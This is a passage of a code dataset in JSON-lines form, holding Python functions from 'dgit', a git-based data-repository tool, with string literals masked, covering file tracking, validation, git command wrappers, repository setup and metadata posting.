{"signature": "def run_executable(repo, args, includes):", "body": "<EOL>mgr = plugins_get_mgr()<EOL>repomgr = mgr.get(what='<STR_LIT>', name='<STR_LIT>')<EOL>platform_metadata = repomgr.get_metadata()<EOL>print(\"<STR_LIT>\")<EOL>(executable, commiturl) =find_executable_commitpath(repo, args)<EOL>tmpdir = tempfile.mkdtemp()<EOL>print(\"<STR_LIT>\")<EOL>strace_filename = os.path.join(tmpdir,'<STR_LIT>')<EOL>cmd = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", strace_filename,<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"] + args<EOL>p = subprocess.Popen(cmd,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>out, err = p.communicate()<EOL>stdout = os.path.join(tmpdir, '<STR_LIT>')<EOL>with open(stdout, '<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(out.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>stderr = os.path.join(tmpdir, '<STR_LIT>')<EOL>with open(stderr, '<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(err.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>files = extract_files(strace_filename, includes)<EOL>execution_metadata = {<EOL>'<STR_LIT>': executable,<EOL>'<STR_LIT>': commiturl,<EOL>'<STR_LIT:args>': args,<EOL>}<EOL>execution_metadata.update(platform_metadata)<EOL>for i in range(len(files)):<EOL><INDENT>files[i]['<STR_LIT>'] = execution_metadata<EOL><DEDENT>return files<EOL>", "docstring": "Run the executable and capture the input and output...", "id": "f8145:m6"}
{"signature": "def add(repo, args, targetdir,<EOL>execute=False, generator=False,<EOL>includes=[], script=False,<EOL>source=None):", "body": "<EOL>if not execute:<EOL><INDENT>files = add_files(args=args,<EOL>targetdir=targetdir,<EOL>source=source,<EOL>script=script,<EOL>generator=generator)<EOL><DEDENT>else:<EOL><INDENT>files = run_executable(repo, args, includes)<EOL><DEDENT>if files is None or len(files) == <NUM_LIT:0>:<EOL><INDENT>return repo<EOL><DEDENT>filtered_files = []<EOL>package = repo.package<EOL>for h in files:<EOL><INDENT>found = False<EOL>for i, r in  enumerate(package['<STR_LIT>']):<EOL><INDENT>if h['<STR_LIT>'] == r['<STR_LIT>']:<EOL><INDENT>found = True<EOL>if h['<STR_LIT>'] == r['<STR_LIT>']:<EOL><INDENT>change = False<EOL>for attr in ['<STR_LIT:source>']:<EOL><INDENT>if h[attr] != r[attr]:<EOL><INDENT>r[attr] = h[attr]<EOL>change = True<EOL><DEDENT><DEDENT>if change:<EOL><INDENT>filtered_files.append(h)<EOL><DEDENT>continue<EOL><DEDENT>else:<EOL><INDENT>filtered_files.append(h)<EOL>package['<STR_LIT>'][i] = h<EOL><DEDENT>break<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>filtered_files.append(h)<EOL>package['<STR_LIT>'].append(h)<EOL><DEDENT><DEDENT>if len(filtered_files) == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>repo.manager.add_files(repo, filtered_files)<EOL>rootdir = repo.rootdir<EOL>with cd(rootdir):<EOL><INDENT>datapath = \"<STR_LIT>\"<EOL>with open(datapath, '<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(json.dumps(package, indent=<NUM_LIT:4>))<EOL><DEDENT><DEDENT>return len(filtered_files)<EOL>", "docstring": "Add files to the repository by explicitly specifying them or by\nspecifying a pattern over files accessed during execution of an\nexecutable.\n\nParameters\n----------\n\nrepo: Repository\n\nargs: files or command line\n     (a) If simply adding files, then the list of files that must\n     be added (including any additional arguments to be passed to\n     git\n     (b) If files to be added are an output of a command line, then\n     args is the command lined\ntargetdir: Target directory to store the files\nexecute: Args are not files to be added but scripts that must be run.\nincludes: patterns used to select files to\nscript: Is this a script?\ngenerator: Is this a generator\nsource: Link to the original source of the data", "id": "f8145:m7"}
{"signature": "def instantiate(repo, validator_name=None, filename=None, rulesfiles=None):", "body": "default_validators = repo.options.get('<STR_LIT>', {})<EOL>validators = {}<EOL>if validator_name is not None:<EOL><INDENT>if validator_name in default_validators:<EOL><INDENT>validators = {<EOL>validator_name : default_validators[validator_name]<EOL>}<EOL><DEDENT>else:<EOL><INDENT>validators = {<EOL>validator_name : {<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': {},<EOL>'<STR_LIT>': []<EOL>}<EOL>}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>validators = default_validators<EOL><DEDENT>if filename is not None:<EOL><INDENT>matching_files = repo.find_matching_files([filename])<EOL>if len(matching_files) == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\", filename)<EOL>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>for v in validators:<EOL><INDENT>validators[v]['<STR_LIT>'] = matching_files<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for v in validators:<EOL><INDENT>if '<STR_LIT>' not in validators[v]:<EOL><INDENT>validators[v]['<STR_LIT>'] = []<EOL><DEDENT>elif len(validators[v]['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>matching_files = repo.find_matching_files(validators[v]['<STR_LIT>'])<EOL>validators[v]['<STR_LIT>'] = matching_files<EOL><DEDENT><DEDENT><DEDENT>if rulesfiles is not None:<EOL><INDENT>matching_files = repo.find_matching_files([rulesfiles])<EOL>if len(matching_files) == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\".format(rulesfiles,v))<EOL>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>for v in validators:<EOL><INDENT>validators[v]['<STR_LIT>'] = matching_files<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for v in validators:<EOL><INDENT>if '<STR_LIT>' not in validators[v]:<EOL><INDENT>validators[v]['<STR_LIT>'] = []<EOL><DEDENT>else:<EOL><INDENT>rulesfiles = validators[v]['<STR_LIT>']<EOL>matching_files = repo.find_matching_files(rulesfiles)<EOL>validators[v]['<STR_LIT>'] = matching_files<EOL><DEDENT><DEDENT><DEDENT>return validators<EOL>", "docstring": "Instantiate the validation specification", "id": "f8146:m0"}
{"signature": "@log_repo_action<EOL>def validate(repo, <EOL>validator_name=None, <EOL>filename=None, <EOL>rulesfiles=None,<EOL>args=[]):", "body": "mgr = plugins_get_mgr()<EOL>validator_specs = instantiate(repo, validator_name, filename, rulesfiles)<EOL>allresults = []<EOL>for v in validator_specs:<EOL><INDENT>keys = mgr.search(what='<STR_LIT>',name=v)['<STR_LIT>']<EOL>for k in keys:<EOL><INDENT>validator = mgr.get_by_key('<STR_LIT>', k)<EOL>result = validator.evaluate(repo, <EOL>validator_specs[v],<EOL>args)<EOL>allresults.extend(result)<EOL><DEDENT><DEDENT>return allresults<EOL>", "docstring": "Validate the content of the files for consistency. Validators can\nlook as deeply as needed into the files. dgit treats them all as\nblack boxes.\n\nParameters\n----------\n\nrepo: Repository object\nvalidator_name: Name of validator, if any. If none, then all validators specified in dgit.json will be included.\nfilename: Pattern that specifies files that must be processed by the validators selected. If none, then the default specification in dgit.json is used.\nrules: Pattern specifying the files that have rules that validators will use\nshow: Print the validation results on the terminal\n\nReturns\n-------\n\nstatus: A list of dictionaries, each with target file processed, rules file applied, status of the validation and any error  message.", "id": "f8146:m1"}
{"signature": "def lookup(username, reponame):", "body": "mgr = plugins_get_mgr()<EOL>repomgr = mgr.get(what='<STR_LIT>', name='<STR_LIT>')<EOL>repo =  repomgr.lookup(username=username,<EOL>reponame=reponame)<EOL>return repo<EOL>", "docstring": "Lookup a repo based on username reponame", "id": "f8147:m0"}
{"signature": "def list_repos(remote=False):", "body": "mgr = plugins_get_mgr()<EOL>if not remote:<EOL><INDENT>repomgr = mgr.get(what='<STR_LIT>', name='<STR_LIT>')<EOL>repos = repomgr.get_repo_list()<EOL>repos.sort()<EOL>return repos<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "List repos\n\nParameters\n----------\n\nremote: Flag", "id": "f8147:m1"}
{"signature": "@log_repo_action<EOL>def shellcmd(repo, args):", "body": "with cd(repo.rootdir):<EOL><INDENT>result = run(args)<EOL>return result<EOL><DEDENT>", "docstring": "Run a shell command within the repo's context\n\nParameters\n----------\n\nrepo: Repository object\nargs: Shell command", "id": "f8147:m2"}
{"signature": "def datapackage_exists(repo):", "body": "datapath = os.path.join(repo.rootdir, \"<STR_LIT>\")<EOL>return os.path.exists(datapath)<EOL>", "docstring": "Check if the datapackage exists...", "id": "f8147:m3"}
{"signature": "@log_repo_action<EOL>def log(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Log of the changes executed until now\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m5"}
{"signature": "@log_repo_action<EOL>def show(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Show commit details\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m6"}
{"signature": "@log_repo_action<EOL>def remote(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Show remote\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m7"}
{"signature": "@log_repo_action<EOL>def push(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Push changes to the backend\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m8"}
{"signature": "@log_repo_action<EOL>def pull(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Pull changes from the backend\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m9"}
{"signature": "@log_repo_action<EOL>def commit(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Commit changes to the data repository\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m10"}
{"signature": "def drop(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Drop the repository (new to dgit)\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m11"}
{"signature": "@log_repo_action<EOL>def stash(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Stash the changes\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m12"}
{"signature": "@log_repo_action<EOL>def diff(repo, args=[]):", "body": "return generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>", "docstring": "Diff between versions\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m13"}
{"signature": "@log_repo_action<EOL>def status(repo, args=[]):", "body": "result = generic_repo_cmd(repo, '<STR_LIT:status>', args)<EOL>return result<EOL>", "docstring": "Show status of the repo\n\nParameters\n----------\n\nrepo: Repository object (result of lookup)\ndetails: Show internal details of the repo\nargs: Parameters to be passed to git status command", "id": "f8147:m14"}
{"signature": "@log_repo_action<EOL>def delete(repo, args=[]):", "body": "<EOL>result = generic_repo_cmd(repo, '<STR_LIT>', args)<EOL>if result['<STR_LIT:status>'] != '<STR_LIT:success>': <EOL><INDENT>return status <EOL><DEDENT>with cd(repo.rootdir): <EOL><INDENT>package = repo.package <EOL>resources = package['<STR_LIT>'] <EOL>cleaned_resources = []<EOL>for r in resources: <EOL><INDENT>relativepath = r['<STR_LIT>'] <EOL>sha256 = r['<STR_LIT>'] <EOL>if relativepath not in ['<STR_LIT>', None]: <EOL><INDENT>if not os.path.exists(relativepath): <EOL><INDENT>print(\"<STR_LIT>\", relativepath) <EOL>continue <EOL><DEDENT><DEDENT>cleaned_resources.append(r) <EOL><DEDENT>package['<STR_LIT>'] = cleaned_resources <EOL>repo.package = package <EOL>with open('<STR_LIT>', '<STR_LIT:w>') as fd: <EOL><INDENT>fd.write(json.dumps(repo.package, indent=<NUM_LIT:4>))<EOL><DEDENT>return {<EOL>'<STR_LIT:status>': '<STR_LIT:success>',<EOL>'<STR_LIT:message>': '<STR_LIT>'<EOL>}<EOL><DEDENT>", "docstring": "Delete files\n\nParameters\n----------\n\nrepo: Repository object\nargs: Arguments to git command", "id": "f8147:m15"}
{"signature": "def bootstrap_datapackage(repo, force=False,<EOL>options=None, noinput=False):", "body": "print(\"<STR_LIT>\")<EOL>tsprefix = datetime.now().date().isoformat()<EOL>package = OrderedDict([<EOL>('<STR_LIT:title>', '<STR_LIT>'),<EOL>('<STR_LIT:description>', '<STR_LIT>'),<EOL>('<STR_LIT:username>', repo.username),<EOL>('<STR_LIT>', repo.reponame),<EOL>('<STR_LIT:name>', str(repo)),<EOL>('<STR_LIT:title>', \"<STR_LIT>\"),<EOL>('<STR_LIT:description>', \"<STR_LIT>\"),<EOL>('<STR_LIT>', []),<EOL>('<STR_LIT>', []),<EOL>('<STR_LIT>', getpass.getuser()),<EOL>('<STR_LIT>', datetime.now().isoformat()),<EOL>('<STR_LIT>', repo.remoteurl)<EOL>])<EOL>if options is not None:<EOL><INDENT>package['<STR_LIT:title>'] = options['<STR_LIT:title>']<EOL>package['<STR_LIT:description>'] = options['<STR_LIT:description>']<EOL><DEDENT>else:<EOL><INDENT>if noinput:<EOL><INDENT>raise IncompleteParameters(\"<STR_LIT>\")<EOL><DEDENT>for var in ['<STR_LIT:title>', '<STR_LIT:description>']:<EOL><INDENT>value = '<STR_LIT>'<EOL>while value in ['<STR_LIT>',None]:<EOL><INDENT>value = input('<STR_LIT>' + var.title() + \"<STR_LIT>\")<EOL>if len(value) == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\".format(var.title()))<EOL><DEDENT><DEDENT>package[var] = value<EOL><DEDENT><DEDENT>(handle, filename) = tempfile.mkstemp()<EOL>with open(filename, '<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(json.dumps(package, indent=<NUM_LIT:4>))<EOL><DEDENT>repo.package = package<EOL>return filename<EOL>", "docstring": "Create the datapackage file..", "id": "f8147:m16"}
{"signature": "def init(username, reponame, setup,<EOL>force=False, options=None,<EOL>noinput=False):", "body": "mgr = plugins_get_mgr()<EOL>repomgr = mgr.get(what='<STR_LIT>', name='<STR_LIT>')<EOL>backendmgr = None<EOL>if setup == '<STR_LIT>':<EOL><INDENT>backendmgr = mgr.get(what='<STR_LIT>', name='<STR_LIT>')<EOL><DEDENT>repo = repomgr.init(username, reponame, force, backendmgr)<EOL>(handle, gitignore) = tempfile.mkstemp()<EOL>with open(gitignore, '<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>filename = bootstrap_datapackage(repo, force, options, noinput)<EOL><DEDENT>except Exception as e:<EOL><INDENT>repomgr.drop(repo,[])<EOL>os.unlink(gitignore)<EOL>raise e<EOL><DEDENT>repo.run('<STR_LIT>',<EOL>[<EOL>{<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': filename,<EOL>},<EOL>{<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': gitignore,<EOL>},<EOL>])<EOL>os.unlink(filename)<EOL>os.unlink(gitignore)<EOL>args = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>repo.run('<STR_LIT>', args)<EOL>return repo<EOL>", "docstring": "Initialize an empty repository with datapackage.json\n\nParameters\n----------\n\nusername: Name of the user\nreponame: Name of the repo\nsetup: Specify the 'configuration' (git only, git+s3 backend etc)\nforce: Force creation of the files\noptions: Dictionary with content of dgit.json, if available.\nnoinput: Automatic operation with no human interaction", "id": "f8147:m17"}
{"signature": "def clone(url):", "body": "backend = None<EOL>backendmgr = None<EOL>if url.startswith('<STR_LIT>'):<EOL><INDENT>backendtype = '<STR_LIT>'<EOL><DEDENT>elif url.startswith(\"<STR_LIT:http>\") or url.startswith(\"<STR_LIT>\"):<EOL><INDENT>backendtype = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>backendtype = None<EOL><DEDENT>mgr = plugins_get_mgr()<EOL>repomgr = mgr.get(what='<STR_LIT>', name='<STR_LIT>')<EOL>backendmgr = mgr.get(what='<STR_LIT>', name=backendtype)<EOL>if backendmgr is not None and not backendmgr.url_is_valid(url):<EOL><INDENT>raise InvalidParameters(\"<STR_LIT>\")<EOL><DEDENT>key = repomgr.clone(url, backendmgr)<EOL>repo = repomgr.lookup(key=key)<EOL>if not datapackage_exists(repo):<EOL><INDENT>filename = bootstrap_datapackage(repo)<EOL>repo.run('<STR_LIT>',<EOL>[<EOL>{<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': filename,<EOL>},<EOL>])<EOL>os.unlink(filename)<EOL>args = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>repo.run('<STR_LIT>', args)<EOL><DEDENT>return repo<EOL>", "docstring": "Clone a URL. Examples include:\n\n    - git@github.com:pingali/dgit.git\n    - https://github.com:pingali/dgit.git\n    - s3://mybucket/git/pingali/dgit.git\n\nParameters\n----------\n\nurl: URL of the repo", "id": "f8147:m18"}
{"signature": "def annotate_metadata_data(repo, task, patterns=[\"<STR_LIT:*>\"], size=<NUM_LIT:0>):", "body": "mgr = plugins_get_mgr() <EOL>keys = mgr.search('<STR_LIT>')['<STR_LIT>']<EOL>representations = [mgr.get_by_key('<STR_LIT>', k) for k in keys]<EOL>matching_files = repo.find_matching_files(patterns)<EOL>package = repo.package<EOL>rootdir = repo.rootdir<EOL>files = package['<STR_LIT>']<EOL>for f in files:<EOL><INDENT>relativepath = f['<STR_LIT>']<EOL>if relativepath in matching_files:<EOL><INDENT>path = os.path.join(rootdir, relativepath)<EOL>if task == '<STR_LIT>':<EOL><INDENT>print(\"<STR_LIT>\", relativepath)<EOL>f['<STR_LIT:content>'] = open(path).read()[:size]<EOL><DEDENT>elif task == '<STR_LIT>':<EOL><INDENT>for r in representations: <EOL><INDENT>if r.can_process(path): <EOL><INDENT>print(\"<STR_LIT>\", path)<EOL>f['<STR_LIT>'] = r.get_schema(path)<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Update metadata with the content of the files", "id": "f8147:m19"}
{"signature": "def annotate_metadata_code(repo, files):", "body": "package = repo.package<EOL>package['<STR_LIT:code>'] = []<EOL>for p in files:<EOL><INDENT>matching_files = glob2.glob(\"<STR_LIT>\".format(p))<EOL>for f in matching_files:<EOL><INDENT>absf = os.path.abspath(f)<EOL>print(\"<STR_LIT>\".format(f))<EOL>package['<STR_LIT:code>'].append(OrderedDict([<EOL>('<STR_LIT>', f),<EOL>('<STR_LIT>', repo.manager.permalink(repo, absf)),<EOL>('<STR_LIT>', mimetypes.guess_type(absf)[<NUM_LIT:0>]),<EOL>('<STR_LIT>', compute_sha256(absf))<EOL>]))<EOL><DEDENT><DEDENT>", "docstring": "Update metadata with the commit information", "id": "f8147:m20"}
{"signature": "def annotate_metadata_action(repo):", "body": "package = repo.package    <EOL>print(\"<STR_LIT>\")<EOL>with cd(repo.rootdir): <EOL><INDENT>filename = \"<STR_LIT>\"        <EOL>if os.path.exists(filename):             <EOL><INDENT>history = open(filename).readlines() <EOL>actions = []<EOL>for a in history: <EOL><INDENT>try: <EOL><INDENT>a = json.loads(a)<EOL>for x in ['<STR_LIT:code>']: <EOL><INDENT>if x not in a or a[x] == None: <EOL><INDENT>a[x] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>actions.append(a)<EOL><DEDENT>except:<EOL><INDENT>pass <EOL><DEDENT><DEDENT>package['<STR_LIT>'] = actions<EOL><DEDENT><DEDENT>", "docstring": "Update metadata with the action history", "id": "f8147:m21"}
{"signature": "def annotate_metadata_platform(repo):", "body": "print(\"<STR_LIT>\")<EOL>package = repo.package<EOL>mgr = plugins_get_mgr()<EOL>repomgr = mgr.get(what='<STR_LIT>', name='<STR_LIT>')<EOL>package['<STR_LIT>'] = repomgr.get_metadata()<EOL>", "docstring": "Update metadata host information", "id": "f8147:m22"}
{"signature": "def annotate_metadata_dependencies(repo):", "body": "options = repo.options<EOL>if '<STR_LIT>' not in options:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return []<EOL><DEDENT>repos = []<EOL>dependent_repos = options['<STR_LIT>']<EOL>for d in dependent_repos:<EOL><INDENT>if \"<STR_LIT:/>\" not in d:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>(username, reponame) = d.split(\"<STR_LIT:/>\")<EOL>try:<EOL><INDENT>repos.append(repo.manager.lookup(username, reponame))<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\", d)<EOL><DEDENT><DEDENT>package = repo.package<EOL>package['<STR_LIT>'] = []<EOL>for r in repos:<EOL><INDENT>package['<STR_LIT>'].append({<EOL>'<STR_LIT:username>': r.username,<EOL>'<STR_LIT>': r.reponame,<EOL>})<EOL><DEDENT>", "docstring": "Collect information from the dependent repo's", "id": "f8147:m25"}
{"signature": "def post(repo, args=[]):", "body": "mgr = plugins_get_mgr()<EOL>keys = mgr.search(what='<STR_LIT>')<EOL>keys = keys['<STR_LIT>']<EOL>if len(keys) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if '<STR_LIT>' in repo.options:<EOL><INDENT>for name, details in repo.options['<STR_LIT>'].items():<EOL><INDENT>patterns = details['<STR_LIT>']<EOL>matching_files = repo.find_matching_files(patterns)<EOL>matching_files.sort()<EOL>details['<STR_LIT>'] = matching_files<EOL>for i, f in enumerate(matching_files):<EOL><INDENT>r = repo.get_resource(f)<EOL>if '<STR_LIT>' not in r:<EOL><INDENT>r['<STR_LIT>'] = []<EOL><DEDENT>r['<STR_LIT>'].append(name + \"<STR_LIT>\".format(i))<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in repo.options:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>metadata = repo.options['<STR_LIT>']<EOL>if '<STR_LIT>' in metadata and metadata['<STR_LIT>']:<EOL><INDENT>repo.package['<STR_LIT>'] = get_history(repo.rootdir)<EOL><DEDENT>if '<STR_LIT>' in metadata and metadata['<STR_LIT>']:<EOL><INDENT>annotate_metadata_action(repo) <EOL><DEDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>annotate_metadata_data(repo,<EOL>task='<STR_LIT>',<EOL>patterns=metadata['<STR_LIT>']['<STR_LIT>'],<EOL>size=metadata['<STR_LIT>']['<STR_LIT>'])<EOL><DEDENT>if (('<STR_LIT>' in metadata) and metadata['<STR_LIT>']):<EOL><INDENT>annotate_metadata_data(repo,  task='<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>annotate_metadata_code(repo, files=metadata['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>annotate_metadata_platform(repo)<EOL><DEDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>annotate_metadata_validation(repo)<EOL><DEDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>annotate_metadata_dependencies(repo)<EOL><DEDENT>history = repo.package.get('<STR_LIT>',None)<EOL>if (('<STR_LIT>' in metadata) and<EOL>metadata['<STR_LIT>'] and<EOL>history is not None):<EOL><INDENT>annotate_metadata_diffs(repo)<EOL><DEDENT>repo.package['<STR_LIT>'] = repo.options<EOL><DEDENT>try:<EOL><INDENT>for k in keys:<EOL><INDENT>metadatamgr = mgr.get_by_key('<STR_LIT>', k)<EOL>url = metadatamgr.url<EOL>o = urlparse(url)<EOL>print(\"<STR_LIT>\", o.netloc)<EOL>response = metadatamgr.post(repo)<EOL>if isinstance(response, str):<EOL><INDENT>print(\"<STR_LIT>\", response)<EOL><DEDENT>elif response.status_code in [<NUM_LIT>]:<EOL><INDENT>content = response.json()<EOL>print(\"<STR_LIT>\")<EOL>for k in content:<EOL><INDENT>print(\"<STR_LIT:U+0020>\", k,\"<STR_LIT>\", \"<STR_LIT:U+002C>\".join(content[k]))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except NetworkError as e:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>except NetworkInvalidConfiguration as e:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(e.message)<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(e)<EOL><DEDENT>", "docstring": "Post to metadata server\n\nParameters\n----------\n\nrepo: Repository object (result of lookup)", "id": "f8147:m26"}
{"signature": "def find_executable_files():", "body": "files = glob.glob(\"<STR_LIT:*>\") + glob.glob(\"<STR_LIT>\") + glob.glob('<STR_LIT>')<EOL>files = filter(lambda f: os.path.isfile(f), files)<EOL>executable = stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH<EOL>final = []<EOL>for filename in files:<EOL><INDENT>if os.path.isfile(filename):<EOL><INDENT>st = os.stat(filename)<EOL>mode = st.st_mode<EOL>if mode & executable:<EOL><INDENT>final.append(filename)<EOL>if len(final) > <NUM_LIT:5>:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return final<EOL>", "docstring": "Find max 5 executables that are responsible for this repo.", "id": "f8149:m0"}
{"signature": "def auto_init(autofile, force_init=False):", "body": "if os.path.exists(autofile) and not force_init:<EOL><INDENT>try:<EOL><INDENT>autooptions = json.loads(open(autofile).read())<EOL>return autooptions<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>traceback.print_exc()<EOL>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>config = get_config()<EOL>pluginmgr = plugins_get_mgr()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>username = getpass.getuser()<EOL>revised = input(\"<STR_LIT>\".format(username))<EOL>if revised not in [\"<STR_LIT>\", None]:<EOL><INDENT>username = revised<EOL><DEDENT>thisdir = os.path.abspath(os.getcwd())<EOL>reponame = os.path.basename(thisdir)<EOL>revised = input(\"<STR_LIT>\".format(reponame))<EOL>if revised not in [\"<STR_LIT>\", None]:<EOL><INDENT>reponame = revised<EOL><DEDENT>keys = pluginmgr.search('<STR_LIT>')<EOL>keys = keys['<STR_LIT>']<EOL>keys = [k for k in keys if k[<NUM_LIT:0>] != \"<STR_LIT>\"]<EOL>remoteurl = \"<STR_LIT>\"<EOL>backend = None<EOL>if len(keys) > <NUM_LIT:0>:<EOL><INDENT>backend = pluginmgr.get_by_key('<STR_LIT>', keys[<NUM_LIT:0>])<EOL>candidate = backend.url(username, reponame)<EOL>revised = input(\"<STR_LIT>\".format(candidate))<EOL>if revised in [\"<STR_LIT>\", None]:<EOL><INDENT>remoteurl = candidate<EOL><DEDENT>else:<EOL><INDENT>remoteurl = revised<EOL><DEDENT><DEDENT>title = \"<STR_LIT>\"<EOL>while title == \"<STR_LIT>\":<EOL><INDENT>title = input(\"<STR_LIT>\")<EOL>if title == \"<STR_LIT>\":<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>description = \"<STR_LIT>\"<EOL>while description == \"<STR_LIT>\":<EOL><INDENT>description = input(\"<STR_LIT>\")<EOL>if description == \"<STR_LIT>\":<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>autooptions = OrderedDict([<EOL>(\"<STR_LIT:username>\", username),<EOL>(\"<STR_LIT>\", reponame),<EOL>(\"<STR_LIT>\", remoteurl),<EOL>(\"<STR_LIT:title>\", title),<EOL>(\"<STR_LIT:description>\", description),<EOL>(\"<STR_LIT>\", \"<STR_LIT:.>\"),<EOL>('<STR_LIT>' ,OrderedDict([<EOL>('<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>','<STR_LIT>', '<STR_LIT>', '<STR_LIT>', \"<STR_LIT>\", \"<STR_LIT>\"]),<EOL>('<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', os.path.basename(autofile)]),<EOL>])),<EOL>('<STR_LIT>', False),<EOL>('<STR_LIT>' ,OrderedDict([])),<EOL>('<STR_LIT>' ,OrderedDict([<EOL>('<STR_LIT>' ,OrderedDict([<EOL>('<STR_LIT:.>', '<STR_LIT>')<EOL>]))<EOL>])),<EOL>('<STR_LIT>' ,OrderedDict([]))<EOL>])<EOL>for p in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>keys = pluginmgr.search(p)<EOL>keys = keys[p]<EOL>options = OrderedDict()<EOL>for k in keys:<EOL><INDENT>if k.name in options:<EOL><INDENT>continue<EOL><DEDENT>mgr = pluginmgr.get_by_key(p, k)<EOL>options[k.name] = mgr.autooptions()<EOL><DEDENT>autooptions[p] = options<EOL><DEDENT>keys = pluginmgr.search('<STR_LIT>')<EOL>keys = keys['<STR_LIT>']<EOL>if len(keys) > <NUM_LIT:0>:<EOL><INDENT>servers = []<EOL>for k in keys:<EOL><INDENT>server = pluginmgr.get_by_key('<STR_LIT>', k)<EOL>server = server.url.split(\"<STR_LIT:/>\")[<NUM_LIT:2>]<EOL>servers.append(server)<EOL><DEDENT>autooptions.update(OrderedDict([<EOL>('<STR_LIT>', OrderedDict([<EOL>('<STR_LIT>', servers),<EOL>('<STR_LIT>', find_executable_files()),<EOL>('<STR_LIT>', OrderedDict([<EOL>('<STR_LIT>', <NUM_LIT>),<EOL>('<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>])),<EOL>('<STR_LIT>', True),<EOL>('<STR_LIT>', True),<EOL>('<STR_LIT>', True),<EOL>('<STR_LIT>', True),<EOL>('<STR_LIT>', 